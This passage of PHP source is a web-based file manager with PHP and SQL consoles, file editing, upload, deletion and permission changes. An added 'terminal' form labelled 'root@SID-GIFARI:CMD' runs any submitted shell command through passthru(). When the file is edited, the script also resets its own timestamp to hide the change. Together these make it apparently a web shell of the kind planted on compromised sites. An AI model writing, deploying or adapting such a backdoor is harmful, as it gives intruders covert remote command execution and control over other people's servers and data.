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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__(''.__('$PNG-OP$').'').' - '.__('Settings').'</th></tr> '.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated'); else $msg .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg .= (__('File updated')); else $msg .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if (isset($_POST['terminal'])) { // Get the command and directory from the form $cmd = $_POST['terminal-text'] . " 2>&1"; $cwd = $_POST['path']; // Use the hidden 'path' input as the directory // Validate and set the current working directory if (!empty($cwd) && is_dir($cwd)) { chdir($cwd); // Change to the specified directory } else { echo "<strong>Error:</strong> Invalid directory specified.<br>"; } // Execute the command and display output using passthru echo "<strong>root@SID-GIFARI:CMD</strong><br><pre>"; passthru($cmd); // passthru sends raw output directly to the browser echo "</pre>"; } ?> <form method="post" action="<?=$url_inc?>"> <input type="text" name="terminal-text" size="20" placeholder="root@SID-GIFARI:CMD" required> <input type="hidden" name="path" value="<?=$path?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") 